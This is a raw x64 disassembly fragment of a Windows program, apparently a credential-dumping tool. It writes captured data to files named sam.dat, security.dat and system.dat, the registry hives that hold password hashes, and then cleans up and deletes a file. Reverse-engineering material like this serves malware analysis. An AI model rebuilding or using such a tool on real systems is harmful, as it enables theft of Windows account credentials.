mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x140005554
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140005576
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, str.___All_done__n_n
call fcn.14000115e
xor eax, eax
jmp 0x14000582f
cmp qword [rbp + 0x1258], 0
je 0x1400055db
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.140001299
cmp qword [rbp + 0x11f8], 0
je 0x140005829
cmp qword [rbp + 0x1218], 0
je 0x140005829
cmp qword [rbp + 0x1238], 0
je 0x140005829
mov edx, 0x104
lea rcx, [rbp + 0x3270]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x14000562e
lea rcx, str.____Unable_to_Get_Current_Directory__n
call fcn.14000115e
jmp 0x1400056df
lea r8, [rbp + 0x3270]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x33a0]
call fcn.14000128a
lea r8, [rbp + 0x3270]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x34d0]
call fcn.14000128a
lea r8, [rbp + 0x3270]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3600]
call fcn.14000128a
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x33a0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.140001299
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x34d0]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.140001299
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3600]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.140001299
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140001172
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.140001230
cmp dword [rbp + 0x1340], 0
je 0x14000576f
mov dword [rbp + 0x1464], 0
jmp 0x140005724
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140005753
mov edx, 1
mov rcx, qword [rbp + 0x1318]
call fcn.140001230
test eax, eax
je 0x140005746
jmp 0x140005753
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005716
cmp dword [rbp + 0x1464], 0x14
jne 0x14000576f
mov rdx, qword [rbp + 0x1318]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.14000115e
cmp qword [rbp + 0x1258], 0
je 0x140005791
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x1400057b3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x1400057d5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x1400057f7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x14000582d
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140012410]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x3d70]
pop rdi
pop rsi
pop rbp
ret